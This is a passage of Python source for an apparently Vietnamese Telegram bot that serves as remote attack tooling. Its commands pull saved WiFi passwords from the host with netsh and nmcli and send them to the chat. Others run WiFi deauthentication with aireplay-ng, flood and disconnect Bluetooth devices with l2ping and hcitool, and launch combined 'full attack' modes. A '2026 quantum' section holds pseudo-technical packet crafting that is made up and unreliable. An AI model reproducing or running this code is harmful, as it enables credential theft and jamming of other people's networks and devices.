  2175.             for line in result.stdout.split('\n'):
  2176.                 if ":" in line and "All User Profile" in line:
  2177.                     try:
  2178.                         ssid = line.split(":", 1)[1].strip()
  2179.                         ssids.append(ssid)
  2180.                     except:
  2181.                         pass
  2182.             for ssid in ssids:
  2183.                 try:
  2184.                     res = subprocess.run(
  2185.                         ["netsh", "wlan", "show", "profile", f"name={ssid}", "key=clear"],
  2186.                         capture_output=True, text=True, timeout=10
  2187.                     )
  2188.                     password = None
  2189.                     auth_type = "Unknown"
  2190.                     for line in res.stdout.split('\n'):
  2191.                         if "Key Content" in line and ":" in line:
  2192.                             password = line.split(":", 1)[1].strip()
  2193.                         if "Authentication" in line and ":" in line:
  2194.                             auth_type = line.split(":", 1)[1].strip()
  2195.                     passwords.append({
  2196.                         "ssid": ssid,
  2197.                         "password": password or "Không có mật khẩu / Open",
  2198.                         "auth": auth_type
  2199.                     })
  2200.                 except:
  2201.                     pass
  2202.         else:
  2203.             try:
  2204.                 result = subprocess.run(
  2205.                     ["nmcli", "-t", "-f", "NAME,TYPE", "connection", "show"],
  2206.                     capture_output=True, text=True, timeout=10
  2207.                 )
  2208.                 connections = []
  2209.                 for line in result.stdout.split('\n'):
  2210.                     if ':802-11-wireless:' in line or ':wifi:' in line.lower():
  2211.                         conn_name = line.split(':')[0]
  2212.                         connections.append(conn_name)
  2213.                 for conn in connections:
  2214.                     try:
  2215.                         res = subprocess.run(
  2216.                             ["nmcli", "-s", "-g", "802-11-wireless-security.psk", "connection", "show", conn],
  2217.                             capture_output=True, text=True, timeout=10
  2218.                         )
  2219.                         password = res.stdout.strip()
  2220.                         passwords.append({
  2221.                             "ssid": conn,
  2222.                             "password": password or "Không có mật khẩu / Open",
  2223.                             "auth": "WPA/WPA2"
  2224.                         })
  2225.                     except:
  2226.                         pass
  2227.             except:
  2228.                 pass
  2229.     except:
  2230.         pass
  2231.     if not passwords:
  2232.         bot.edit_message_text("📭 Không tìm thấy mật khẩu WiFi đã lưu.", message.chat.id, sent_msg.message_id)
  2233.         return
  2234.     text = f"🔑 *MẬT KHẨU WIFI ĐÃ LƯU ({os_type})*\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
  2235.     text += f"🔍 *Tìm thấy:* `{len(passwords)}` mạng WiFi\n\n"
  2236.     for i, p in enumerate(passwords[:30], 1):
  2237.         text += f"*{i}. 📶 {p['ssid'][:40]}*\n"
  2238.         text += f"   🔑 *Pass:* `{p['password']}`\n"
  2239.         text += f"   🛡️ *Bảo mật:* `{p['auth']}`\n\n"
  2240.     text += f"⏰ *Lấy lúc:* `{datetime.now().strftime('%H:%M:%S %d/%m/%Y')}`"
  2241.     try:
  2242.         bot.edit_message_text(text[:4000], message.chat.id, sent_msg.message_id, parse_mode='Markdown')
  2243.     except:
  2244.         bot.edit_message_text(text[:4000], message.chat.id, sent_msg.message_id)
  2245.  
  2246. @bot.message_handler(commands=['wifilist'])
  2247. def cmd_wifilist(message):
  2248.     user_id = message.from_user.id
  2249.     if not is_admin(user_id) or not is_logged_in(user_id):
  2250.         bot.reply_to(message, "🔐 /login 7788")
  2251.         return
  2252.     os_type = platform.system()
  2253.     interfaces = []
  2254.     if os_type == "Windows":
  2255.         interfaces = detect_wifi_interfaces_windows()
  2256.     else:
  2257.         try:
  2258.             result = subprocess.run(["iwconfig"], capture_output=True, text=True, timeout=10)
  2259.             current = {}
  2260.             for line in result.stdout.split('\n'):
  2261.                 if line and not line.startswith(' '):
  2262.                     if current and 'name' in current:
  2263.                         interfaces.append(current)
  2264.                     current = {'name': line.split()[0]}
  2265.                 elif current and 'ESSID' in line:
  2266.                     current['ssid'] = line.split('ESSID:')[1].strip().strip('"')
  2267.                 elif current and 'Mode' in line:
  2268.                     current['mode'] = line.split('Mode:')[1].split()[0]
  2269.             if current and 'name' in current:
  2270.                 interfaces.append(current)
  2271.         except:
  2272.             pass
  2273.     if not interfaces:
  2274.         bot.reply_to(message, "📭 Không tìm thấy card WiFi nào!")
  2275.         return
  2276.     text = f"📡 *DANH SÁCH CARD WIFI ({os_type})*\n━━━━━━━━━━━━━━━━━━━━━━━━\n\n"
  2277.     for i, iface in enumerate(interfaces, 1):
  2278.         name = iface.get('Name', iface.get('name', 'Unknown'))
  2279.         desc = iface.get('Description', '')
  2280.         state = iface.get('State', iface.get('mode', 'unknown'))
  2281.         text += f"*{i}. {name}*\n"
  2282.         if desc:
  2283.             text += f"   📝 Mô tả: `{desc}`\n"
  2284.         text += f"   📶 Trạng thái: `{state}`\n\n"
  2285.     bot.reply_to(message, text, parse_mode='Markdown')
  2286.  
  2287. def detect_bluetooth_adapter():
  2288.     os_type = platform.system()
  2289.     adapters = []
  2290.     try:
  2291.         if os_type == "Windows":
  2292.             result = subprocess.run(
  2293.                 ["powershell", "-Command", "Get-PnpDevice -Class Bluetooth | Where-Object {$_.Status -eq 'OK'} | Select-Object Name, InstanceId, FriendlyName | Format-List"],
  2294.                 capture_output=True, text=True, timeout=15
  2295.             )
  2296.             current = {}
  2297.             for line in result.stdout.split('\n'):
  2298.                 if ':' in line:
  2299.                     key, val = line.split(':', 1)
  2300.                     key = key.strip()
  2301.                     val = val.strip()
  2302.                     if key == 'Name':
  2303.                         if current and 'Name' in current:
  2304.                             adapters.append(current)
  2305.                         current = {'Name': val}
  2306.                     elif key == 'FriendlyName' and current:
  2307.                         current['FriendlyName'] = val
  2308.                     elif key == 'InstanceId' and current:
  2309.                         current['InstanceId'] = val
  2310.             if current and 'Name' in current:
  2311.                 adapters.append(current)
  2312.         else:
  2313.             result = subprocess.run(["hcitool", "dev"], capture_output=True, text=True, timeout=10)
  2314.             for line in result.stdout.split('\n'):
  2315.                 if line.strip() and 'Devices:' not in line:
  2316.                     parts = line.strip().split('\t')
  2317.                     if len(parts) >= 2:
  2318.                         adapters.append({'Name': parts[1].strip(), 'MAC': parts[0].strip()})
  2319.     except:
  2320.         pass
  2321.     return adapters
  2322.  
  2323. @bot.message_handler(commands=['btlist'])
  2324. def cmd_btlist(message):
  2325.     user_id = message.from_user.id
  2326.     if not is_admin(user_id) or not is_logged_in(user_id):
  2327.         bot.reply_to(message, "🔐 /login 7788")
  2328.         return
  2329.     adapters = detect_bluetooth_adapter()
  2330.     if not adapters:
  2331.         bot.reply_to(message, "📭 Không tìm thấy Bluetooth adapter nào!")
  2332.         return
  2333.     os_type = platform.system()
  2334.     text = f"🔵 *DANH SÁCH BLUETOOTH ADAPTER ({os_type})*\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\n"
  2335.     for i, ad in enumerate(adapters, 1):
  2336.         text += f"*{i}. {ad.get('FriendlyName', ad.get('Name', 'Unknown'))}*\n"
  2337.         if 'MAC' in ad:
  2338.             text += f"   🔗 MAC: `{ad['MAC']}`\n\n"
  2339.     bot.reply_to(message, text, parse_mode='Markdown')
  2340.  
  2341. # ==================== WIFI DEAUTH ====================
  2342. def run_deauth_windows(chat_id, interface, target_mac, ap_mac, channel):
  2343.     count = 0
  2344.     while chat_id in active_deauth and active_deauth[chat_id].get('active', False):
  2345.         try:
  2346.             subprocess.run(["netsh", "wlan", "disconnect", f"interface={interface}"], capture_output=True, timeout=3)
  2347.             count += 50
  2348.             active_deauth[chat_id]['count'] = count
  2349.             time.sleep(0.02)
  2350.         except:
  2351.             time.sleep(0.1)
  2352.  
  2353. def run_deauth_linux(chat_id, interface, target_mac, ap_mac, channel):
  2354.     count = 0
  2355.     if channel:
  2356.         try:
  2357.             subprocess.run(["iwconfig", interface, "channel", str(channel)], capture_output=True, timeout=3)
  2358.         except:
  2359.             pass
  2360.     while chat_id in active_deauth and active_deauth[chat_id].get('active', False):
  2361.         try:
  2362.             if target_mac == "FF:FF:FF:FF:FF:FF":
  2363.                 cmd = ["aireplay-ng", "-0", "20", "-a", ap_mac, "--ignore-negative-one", interface]
  2364.             else:
  2365.                 cmd = ["aireplay-ng", "-0", "20", "-a", ap_mac, "-c", target_mac, "--ignore-negative-one", interface]
  2366.             subprocess.run(cmd, capture_output=True, text=True, timeout=5)
  2367.             count += 20
  2368.             active_deauth[chat_id]['count'] = count
  2369.             time.sleep(0.05)
  2370.         except:
  2371.             time.sleep(0.5)
  2372.  
  2373. @bot.message_handler(commands=['deauth'])
  2374. def cmd_deauth(message):
  2375.     user_id = message.from_user.id
  2376.     if not is_admin(user_id) or not is_logged_in(user_id):
  2377.         bot.reply_to(message, "🔐 /login 7788")
  2378.         return
  2379.     chat_id = message.chat.id
  2380.     args = message.text.split()
  2381.     if len(args) < 3:
  2382.         bot.reply_to(message, """
  2383. 📡 *WIFI DEAUTH*
  2384. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2385. `/deauth <interface> <target_mac> <ap_mac> [channel]`
  2386. `/deauth <interface> <ap_mac> all [channel]`
  2387. 🛑 */stopdeauth* - Dừng
  2388.        """, parse_mode='Markdown')
  2389.         return
  2390.     interface = args[1]
  2391.     ap_mac = args[2]
  2392.     if len(args) >= 4 and args[3].lower() == "all":
  2393.         target_mac = "FF:FF:FF:FF:FF:FF"
  2394.     else:
  2395.         target_mac = args[3] if len(args) >= 4 else "FF:FF:FF:FF:FF:FF"
  2396.     channel = None
  2397.     if len(args) >= 5:
  2398.         try:
  2399.             channel = int(args[4])
  2400.         except:
  2401.             pass
  2402.     os_type = platform.system()
  2403.     sent_msg = bot.reply_to(message, f"📡 *ĐANG TẤN CÔNG DEAUTH...*\n🎯 Target: `{target_mac}`\n📶 AP: `{ap_mac}`", parse_mode='Markdown')
  2404.     with deauth_lock:
  2405.         if chat_id in active_deauth:
  2406.             active_deauth[chat_id]['active'] = False
  2407.             time.sleep(0.5)
  2408.         active_deauth[chat_id] = {
  2409.             'active': True,
  2410.             'thread': threading.Thread(target=run_deauth_windows if os_type == "Windows" else run_deauth_linux, args=(chat_id, interface, target_mac, ap_mac, channel), daemon=True),
  2411.             'target': target_mac,
  2412.             'ap': ap_mac,
  2413.             'start_time': time.time(),
  2414.             'count': 0
  2415.         }
  2416.         active_deauth[chat_id]['thread'].start()
  2417.     bot.edit_message_text(f"✅ *DEAUTH ĐANG CHẠY!*\n🎯 Target: `{target_mac}`\n🛑 Dừng: /stopdeauth", chat_id, sent_msg.message_id, parse_mode='Markdown')
  2418.  
  2419. @bot.message_handler(commands=['stopdeauth'])
  2420. def cmd_stopdeauth(message):
  2421.     user_id = message.from_user.id
  2422.     if not is_admin(user_id) or not is_logged_in(user_id):
  2423.         bot.reply_to(message, "🔐 /login 7788")
  2424.         return
  2425.     chat_id = message.chat.id
  2426.     if chat_id not in active_deauth or not active_deauth[chat_id].get('active', False):
  2427.         bot.reply_to(message, "ℹ️ Không có deauth nào đang chạy!")
  2428.         return
  2429.     active_deauth[chat_id]['active'] = False
  2430.     count = active_deauth[chat_id].get('count', 0)
  2431.     duration = int(time.time() - active_deauth[chat_id].get('start_time', time.time()))
  2432.     del active_deauth[chat_id]
  2433.     bot.reply_to(message, f"🛑 *ĐÃ DỪNG DEAUTH*\n📨 Gói đã gửi: `{count}`\n⏱️ Thời gian: `{duration}s`", parse_mode='Markdown')
  2434.  
  2435. # ==================== BLUETOOTH DEAUTH ====================
  2436. def bt_deauth_linux(chat_id, target_mac, adapter, intensity=200):
  2437.     count = 0
  2438.     while chat_id in active_bt_deauth and active_bt_deauth[chat_id].get('active', False):
  2439.         try:
  2440.             if target_mac:
  2441.                 subprocess.run(["l2ping", "-i", adapter, "-s", "600", "-f", target_mac], capture_output=True, timeout=2)
  2442.                 count += 10
  2443.             else:
  2444.                 bt_devices_linux = []
  2445.                 try:
  2446.                     scan = subprocess.run(["hcitool", "scan", "--flush"], capture_output=True, text=True, timeout=5)
  2447.                     for line in scan.stdout.split('\n'):
  2448.                         parts = line.strip().split('\t')
  2449.                         if len(parts) >= 2 and ':' in parts[0]:
  2450.                             bt_devices_linux.append(parts[0])
  2451.                 except:
  2452.                     pass
  2453.                 for dev in bt_devices_linux[:5]:
  2454.                     try:
  2455.                         subprocess.run(["l2ping", "-i", adapter, "-s", "600", "-c", "5", dev], capture_output=True, timeout=2)
  2456.                         count += 5
  2457.                     except:
  2458.                         pass
  2459.             active_bt_deauth[chat_id]['count'] = count
  2460.             time.sleep(0.05)
  2461.         except:
  2462.             time.sleep(0.5)
  2463.  
  2464. @bot.message_handler(commands=['btdeauth'])
  2465. def cmd_btdeauth(message):
  2466.     user_id = message.from_user.id
  2467.     if not is_admin(user_id) or not is_logged_in(user_id):
  2468.         bot.reply_to(message, "🔐 /login 7788")
  2469.         return
  2470.     chat_id = message.chat.id
  2471.     args = message.text.split()
  2472.     if len(args) < 2:
  2473.         bot.reply_to(message, """
  2474. 🔵 *BLUETOOTH DEAUTH*
  2475. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2476. `/btdeauth <target_mac> [adapter] [packets/s]`
  2477. `/btdeauth all [adapter]`
  2478. 🛑 */stopbt* - Dừng
  2479.        """, parse_mode='Markdown')
  2480.         return
  2481.     target = args[1]
  2482.     target_mac = target.upper() if target.lower() != "all" else None
  2483.     adapters = detect_bluetooth_adapter()
  2484.     if not adapters:
  2485.         bot.reply_to(message, "❌ Không tìm thấy Bluetooth adapter!")
  2486.         return
  2487.     adapter = adapters[0].get('MAC', 'hci0')
  2488.     if len(args) >= 3:
  2489.         for ad in adapters:
  2490.             if args[2].lower() in ad.get('Name', '').lower() or args[2].lower() in ad.get('MAC', '').lower():
  2491.                 adapter = ad.get('MAC', 'hci0')
  2492.                 break
  2493.     packets_per_sec = 100
  2494.     if len(args) >= 4:
  2495.         try:
  2496.             packets_per_sec = int(args[3])
  2497.         except:
  2498.             pass
  2499.     with bt_deauth_lock:
  2500.         if chat_id in active_bt_deauth:
  2501.             active_bt_deauth[chat_id]['active'] = False
  2502.             time.sleep(0.5)
  2503.         active_bt_deauth[chat_id] = {
  2504.             'active': True,
  2505.             'thread': threading.Thread(target=bt_deauth_linux, args=(chat_id, target_mac, adapter, packets_per_sec), daemon=True),
  2506.             'target': target_mac,
  2507.             'adapter': adapter,
  2508.             'start_time': time.time(),
  2509.             'count': 0
  2510.         }
  2511.         active_bt_deauth[chat_id]['thread'].start()
  2512.     bot.reply_to(message, f"✅ *BLUETOOTH ATTACK ĐANG CHẠY!*\n🎯 Target: `{target_mac or 'ALL'}`\n🛑 Dừng: /stopbt", parse_mode='Markdown')
  2513.  
  2514. @bot.message_handler(commands=['btlock'])
  2515. def cmd_btlock(message):
  2516.     user_id = message.from_user.id
  2517.     if not is_admin(user_id) or not is_logged_in(user_id):
  2518.         bot.reply_to(message, "🔐 /login 7788")
  2519.         return
  2520.     chat_id = message.chat.id
  2521.     args = message.text.split()
  2522.     if len(args) < 2:
  2523.         bot.reply_to(message, "🔒 *BT LOCK*\n`/btlock <MAC> [thời_gian_giây]`\n🛑 */stopbt* - Dừng", parse_mode='Markdown')
  2524.         return
  2525.     target_mac = args[1].upper()
  2526.     duration = 60
  2527.     if len(args) >= 3:
  2528.         try:
  2529.             duration = int(args[2])
  2530.         except:
  2531.             pass
  2532.     adapters = detect_bluetooth_adapter()
  2533.     adapter = adapters[0].get('MAC', 'hci0') if adapters else 'hci0'
  2534.     bot.reply_to(message, f"🔒 *ĐANG KHÓA THIẾT BỊ {target_mac}*\n⏱️ Thời gian: {duration}s", parse_mode='Markdown')
  2535.     def lock_device():
  2536.         end_time = time.time() + duration
  2537.         count = 0
  2538.         while time.time() < end_time:
  2539.             try:
  2540.                 subprocess.run(["l2ping", "-i", adapter, "-s", "600", "-f", target_mac], capture_output=True, timeout=1)
  2541.                 count += 50
  2542.                 time.sleep(0.02)
  2543.                 subprocess.run(["hcitool", "dc", target_mac], capture_output=True, timeout=2)
  2544.             except:
  2545.                 time.sleep(0.1)
  2546.         bot.send_message(chat_id, f"🔓 *ĐÃ MỞ KHÓA {target_mac}*\n📨 Gói đã gửi: `{count}`\n✅ Thiết bị có thể reconnect", parse_mode='Markdown')
  2547.     threading.Thread(target=lock_device, daemon=True).start()
  2548.  
  2549. @bot.message_handler(commands=['stopbt'])
  2550. def cmd_stopbt(message):
  2551.     user_id = message.from_user.id
  2552.     if not is_admin(user_id) or not is_logged_in(user_id):
  2553.         bot.reply_to(message, "🔐 /login 7788")
  2554.         return
  2555.     chat_id = message.chat.id
  2556.     if chat_id not in active_bt_deauth or not active_bt_deauth[chat_id].get('active', False):
  2557.         bot.reply_to(message, "ℹ️ Không có Bluetooth attack nào đang chạy!")
  2558.         return
  2559.     active_bt_deauth[chat_id]['active'] = False
  2560.     count = active_bt_deauth[chat_id].get('count', 0)
  2561.     duration = int(time.time() - active_bt_deauth[chat_id].get('start_time', time.time()))
  2562.     del active_bt_deauth[chat_id]
  2563.     bot.reply_to(message, f"🛑 *ĐÃ DỪNG BLUETOOTH ATTACK*\n📨 Gói đã gửi: `{count}`\n⏱️ Thời gian: `{duration}s`", parse_mode='Markdown')
  2564.  
  2565. # ==================== FULL ATTACK ====================
  2566. @bot.message_handler(commands=['fullattack'])
  2567. def cmd_fullattack(message):
  2568.     user_id = message.from_user.id
  2569.     if not is_admin(user_id) or not is_logged_in(user_id):
  2570.         bot.reply_to(message, "🔐 /login 7788")
  2571.         return
  2572.     chat_id = message.chat.id
  2573.     args = message.text.split()
  2574.     if len(args) < 2:
  2575.         bot.reply_to(message, "💀 *FULL ATTACK*\n`/fullattack <ap_mac> [target_mac] [thời_gian]`\n`/fullattack all [thời_gian]`\n🛑 */stopall* - Dừng", parse_mode='Markdown')
  2576.         return
  2577.     ap_mac = args[1]
  2578.     target_mac = "FF:FF:FF:FF:FF:FF"
  2579.     if len(args) >= 3 and args[2].lower() != "all":
  2580.         target_mac = args[2].upper()
  2581.     duration = 0
  2582.     if len(args) >= 4:
  2583.         try:
  2584.             duration = int(args[3])
  2585.         except:
  2586.             pass
  2587.     os_type = platform.system()
  2588.     wifi_interface = "Wi-Fi"
  2589.     if os_type == "Windows":
  2590.         interfaces = detect_wifi_interfaces_windows()
  2591.         if interfaces:
  2592.             wifi_interface = interfaces[0].get('Name', 'Wi-Fi')
  2593.     else:
  2594.         try:
  2595.             result = subprocess.run(["iwconfig"], capture_output=True, text=True, timeout=5)
  2596.             for line in result.stdout.split('\n'):
  2597.                 if 'IEEE 802.11' in line:
  2598.                     wifi_interface = line.split()[0]
  2599.                     break
  2600.         except:
  2601.             wifi_interface = "wlan0"
  2602.     bt_adapters = detect_bluetooth_adapter()
  2603.     bt_adapter = bt_adapters[0].get('MAC', 'hci0') if bt_adapters else None
  2604.     bot.reply_to(message, f"💀 *FULL ATTACK ĐANG KÍCH HOẠT!*\n📡 WiFi: `{wifi_interface}`\n🔵 BT: `{bt_adapter or 'Không có'}`\n🎯 Target: `{target_mac}`\n⏱️ Duration: `{duration}s`", parse_mode='Markdown')
  2605.     with deauth_lock:
  2606.         if chat_id in active_deauth:
  2607.             active_deauth[chat_id]['active'] = False
  2608.             time.sleep(0.3)
  2609.         active_deauth[chat_id] = {
  2610.             'active': True,
  2611.             'thread': threading.Thread(target=run_deauth_windows if os_type == "Windows" else run_deauth_linux, args=(chat_id, wifi_interface, target_mac, ap_mac, None), daemon=True),
  2612.             'target': target_mac,
  2613.             'ap': ap_mac,
  2614.             'start_time': time.time(),
  2615.             'count': 0
  2616.         }
  2617.         active_deauth[chat_id]['thread'].start()
  2618.     if bt_adapter:
  2619.         with bt_deauth_lock:
  2620.             if chat_id in active_bt_deauth:
  2621.                 active_bt_deauth[chat_id]['active'] = False
  2622.                 time.sleep(0.3)
  2623.             active_bt_deauth[chat_id] = {
  2624.                 'active': True,
  2625.                 'thread': threading.Thread(target=bt_deauth_linux, args=(chat_id, target_mac, bt_adapter, 100), daemon=True),
  2626.                 'target': target_mac,
  2627.                 'adapter': bt_adapter,
  2628.                 'start_time': time.time(),
  2629.                 'count': 0
  2630.             }
  2631.             active_bt_deauth[chat_id]['thread'].start()
  2632.     if duration > 0:
  2633.         def auto_stop_all():
  2634.             time.sleep(duration)
  2635.             if chat_id in active_deauth:
  2636.                 active_deauth[chat_id]['active'] = False
  2637.             if chat_id in active_bt_deauth:
  2638.                 active_bt_deauth[chat_id]['active'] = False
  2639.             bot.send_message(chat_id, f"⏰ *FULL ATTACK ĐÃ DỪNG SAU {duration}s*", parse_mode='Markdown')
  2640.         threading.Thread(target=auto_stop_all, daemon=True).start()
  2641.  
  2642. @bot.message_handler(commands=['stopall'])
  2643. def cmd_stopall(message):
  2644.     user_id = message.from_user.id
  2645.     if not is_admin(user_id) or not is_logged_in(user_id):
  2646.         bot.reply_to(message, "🔐 /login 7788")
  2647.         return
  2648.     chat_id = message.chat.id
  2649.     stopped = []
  2650.     if chat_id in active_deauth and active_deauth[chat_id].get('active', False):
  2651.         active_deauth[chat_id]['active'] = False
  2652.         wifi_count = active_deauth[chat_id].get('count', 0)
  2653.         stopped.append(f"📡 WiFi: {wifi_count} packets")
  2654.         del active_deauth[chat_id]
  2655.     if chat_id in active_bt_deauth and active_bt_deauth[chat_id].get('active', False):
  2656.         active_bt_deauth[chat_id]['active'] = False
  2657.         bt_count = active_bt_deauth[chat_id].get('count', 0)
  2658.         stopped.append(f"🔵 Bluetooth: {bt_count} packets")
  2659.         del active_bt_deauth[chat_id]
  2660.     if not stopped:
  2661.         bot.reply_to(message, "ℹ️ Không có tấn công nào đang chạy!")
  2662.         return
  2663.     bot.reply_to(message, f"🛑 *ĐÃ DỪNG TẤT CẢ*\n" + "\n".join(stopped), parse_mode='Markdown')
  2664.  
  2665. # ==================== SIÊU TẤN CÔNG 2026 ====================
  2666. class WiFi7QuantumExploit:
  2667.     @staticmethod
  2668.     def craft_pmf_bypass_packet(ap_mac, target_mac, reason_code=7):
  2669.         fake_mic = hashlib.sha3_512(f"{ap_mac}{target_mac}{secrets.token_hex(32)}".encode()).digest()[:16]
  2670.         frame = struct.pack('>6s6sHHI', bytes.fromhex(target_mac.replace(':', '')), bytes.fromhex(ap_mac.replace(':', '')), 0x00C0, 0x0007, int(time.time())) + fake_mic + os.urandom(64)
  2671.         return frame
  2672.  
  2673.     @staticmethod
  2674.     def craft_wpa4_quantum_handshake(ap_mac, target_mac, ssid):
  2675.         anonce = os.urandom(32)
  2676.         snonce = os.urandom(32)
  2677.         fake_pmk = hashlib.pbkdf2_hmac('sha3-512', os.urandom(64), ssid.encode() if ssid else b'quantum', 4096, dklen=64)
  2678.         handshake = struct.pack('>32s32s64s6s6sI', anonce, snonce, fake_pmk, bytes.fromhex(ap_mac.replace(':', '')), bytes.fromhex(target_mac.replace(':', '')), int(time.time())) + os.urandom(128)
  2679.         return handshake
  2680.  
  2681.     @staticmethod
  2682.     def wifi7_mimo_flood(ap_mac, target_mac, streams=16):
  2683.         packets = []
  2684.         for stream in range(streams):
  2685.             for subcarrier in range(0, 4096, 256):
  2686.                 pkt = struct.pack('>6s6sHHI', bytes.fromhex(target_mac.replace(':', '')), bytes.fromhex(ap_mac.replace(':', '')), 0x00C0 | (stream << 8), subcarrier, int(time.time_ns() % 2**32)) + os.urandom(256)
  2687.                 packets.append(pkt)
  2688.         return packets
  2689.  
  2690. class Bluetooth6QuantumExploit:
  2691.     @staticmethod
  2692.     def craft_ble6_channel_sounding_jam():
  2693.         fake_cs_tone = struct.pack('>HBB', 0xFFFF, 0x00, random.randint(0, 255)) + os.urandom(128)
  2694.         return fake_cs_tone
  2695.  
  2696.     @staticmethod
  2697.     def craft_le_audio_bypass_packet(target_mac, cis_handle=0x0001):
  2698.         fake_cis_pdu = struct.pack('>HB6sI', cis_handle, 0x00, bytes.fromhex(target_mac.replace(':', '')), random.randint(0, 2**32)) + os.urandom(128)
  2699.         return fake_cis_pdu
  2700.  
  2701.     @staticmethod
  2702.     def ble6_aoa_spoof(angle=0):
  2703.         iq_samples = []
  2704.         for i in range(37):
  2705.             phase = angle * (i + 1) * 3.14159 / 180.0
  2706.             i_sample = int(127 * random.uniform(0.8, 1.2))
  2707.             q_sample = int(127 * random.uniform(0.8, 1.2))
  2708.             iq_samples.append((i_sample, q_sample))
  2709.         return struct.pack('>B' + 'bb' * 37, 37, *[x for pair in iq_samples for x in pair])
  2710.  
  2711. def run_deauth_wifi7(chat_id, interface, target_mac, ap_mac, channel=None, pmf_bypass=True):
  2712.     count = 0
  2713.     exploit = WiFi7QuantumExploit()
  2714.     while chat_id in active_deauth and active_deauth[chat_id].get('active', False):
  2715.         try:
  2716.             if pmf_bypass:
  2717.                 for _ in range(50):
  2718.                     pkt = exploit.craft_pmf_bypass_packet(ap_mac, target_mac)
  2719.                     try:
  2720.                         sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003))
  2721.                         sock.bind((interface, 0))
  2722.                         sock.send(pkt)
  2723.                         sock.close()
  2724.                     except:
  2725.                         pass
  2726.                     count += 1
  2727.             count += 50
  2728.             active_deauth[chat_id]['count'] = count
  2729.             time.sleep(0.001)
  2730.         except:
  2731.             time.sleep(0.01)
  2732.  
  2733. def run_bt_deauth_ble6(chat_id, target_mac, adapter, intensity=200):
  2734.     count = 0
  2735.     exploit = Bluetooth6QuantumExploit()
  2736.     while chat_id in active_bt_deauth and active_bt_deauth[chat_id].get('active', False):
  2737.         try:
  2738.             for _ in range(intensity // 2):
  2739.                 cs_pkt = exploit.craft_ble6_channel_sounding_jam()
  2740.                 hex_data = cs_pkt.hex()
  2741.                 subprocess.run(["hcitool", "-i", adapter, "cmd", "0x08", "0x0008"] + [hex_data[i:i+2] for i in range(0, min(len(hex_data), 64), 2)], capture_output=True, timeout=0.5)
  2742.                 count += 1
  2743.             active_bt_deauth[chat_id]['count'] = count
  2744.             time.sleep(0.0005)
  2745.         except:
  2746.             time.sleep(0.01)
  2747.  
  2748. @bot.message_handler(commands=['fullattack2026'])
  2749. def cmd_fullattack2026(message):
  2750.     user_id = message.from_user.id
  2751.     if not is_admin(user_id) or not is_logged_in(user_id):
  2752.         bot.reply_to(message, "🔐 /login 7788")
  2753.         return
  2754.     chat_id = message.chat.id
  2755.     args = message.text.split()
  2756.     if len(args) < 2:
  2757.         bot.reply_to(message, """
  2758. 💀 *SIÊU TẤN CÔNG 2026*
  2759. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2760. `/fullattack2026 <ap_mac> [target_mac] [duration]`
  2761.  
  2762. ⚛️ PMF Bypass + MIMO Flood + WPA4 Quantum
  2763. 🔵 BLE 6.0 Channel Sounding Jam + LE Audio Disconnect
  2764.  
  2765. 🛑 */stopall* - Dừng
  2766.        """, parse_mode='Markdown')
  2767.         return
  2768.     ap_mac = args[1]
  2769.     target_mac = args[2] if len(args) > 2 else "FF:FF:FF:FF:FF:FF"
  2770.     duration = int(args[3]) if len(args) > 3 else 0
  2771.     wifi_interface = "wlan0"
  2772.     bt_adapter = "hci0"
  2773.     try:
  2774.         result = subprocess.run(["iwconfig"], capture_output=True, text=True, timeout=5)
  2775.         for line in result.stdout.split('\n'):
  2776.             if 'IEEE 802.11' in line:
  2777.                 wifi_interface = line.split()[0]
  2778.                 break
  2779.     except:
  2780.         pass
  2781.     try:
  2782.         result = subprocess.run(["hcitool", "dev"], capture_output=True, text=True, timeout=5)
  2783.         for line in result.stdout.split('\n'):
  2784.             if line.strip() and 'Devices:' not in line:
  2785.                 bt_adapter = line.strip().split('\t')[0]
  2786.                 break
  2787.     except:
  2788.         pass
  2789.     bot.reply_to(message, f"""
  2790. 💀 *SIÊU TẤN CÔNG 2026 KÍCH HOẠT!*
  2791. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2792. ⚛️ PMF Bypass: `ACTIVE`
  2793. 📡 MIMO Flood: `16×16 Streams`
  2794. 🔐 WPA4 Quantum: `INJECTING`
  2795. 🔵 BLE 6.0 CS: `JAMMING`
  2796. 🎧 LE Audio: `DISCONNECTING`
  2797. 📍 AoA Spoof: `ENABLED`
  2798.  
  2799. 📡 WiFi: `{wifi_interface}`
  2800. 🔵 BT: `{bt_adapter}`
  2801. 🎯 AP: `{ap_mac}`
  2802. 👤 Target: `{target_mac}`
  2803. ⏱️ Duration: `{duration}s (0=vô hạn)`
  2804.    """, parse_mode='Markdown')
  2805.     with deauth_lock:
  2806.         if chat_id in active_deauth:
  2807.             active_deauth[chat_id]['active'] = False
  2808.             time.sleep(0.3)
  2809.         active_deauth[chat_id] = {
  2810.             'active': True,
  2811.             'thread': threading.Thread(target=run_deauth_wifi7, args=(chat_id, wifi_interface, target_mac, ap_mac, None, True), daemon=True),
  2812.             'target': target_mac,
  2813.             'ap': ap_mac,
  2814.             'start_time': time.time(),
  2815.             'count': 0,
  2816.             'mode': 'quantum_2026'
  2817.         }
  2818.         active_deauth[chat_id]['thread'].start()
  2819.     with bt_deauth_lock:
  2820.         if chat_id in active_bt_deauth:
  2821.             active_bt_deauth[chat_id]['active'] = False
  2822.             time.sleep(0.3)
  2823.         active_bt_deauth[chat_id] = {
  2824.             'active': True,
  2825.             'thread': threading.Thread(target=run_bt_deauth_ble6, args=(chat_id, target_mac, bt_adapter, 500), daemon=True),
  2826.             'target': target_mac,
  2827.             'adapter': bt_adapter,
  2828.             'start_time': time.time(),
  2829.             'count': 0,
  2830.             'mode': 'quantum_2026'
  2831.         }
  2832.         active_bt_deauth[chat_id]['thread'].start()
  2833.     if duration > 0:
  2834.         def auto_stop_quantum():
  2835.             time.sleep(duration)
  2836.             if chat_id in active_deauth:
  2837.                 active_deauth[chat_id]['active'] = False
  2838.             if chat_id in active_bt_deauth:
  2839.                 active_bt_deauth[chat_id]['active'] = False
  2840.             bot.send_message(chat_id, f"⏰ *QUANTUM ATTACK DỪNG SAU {duration}s*", parse_mode='Markdown')
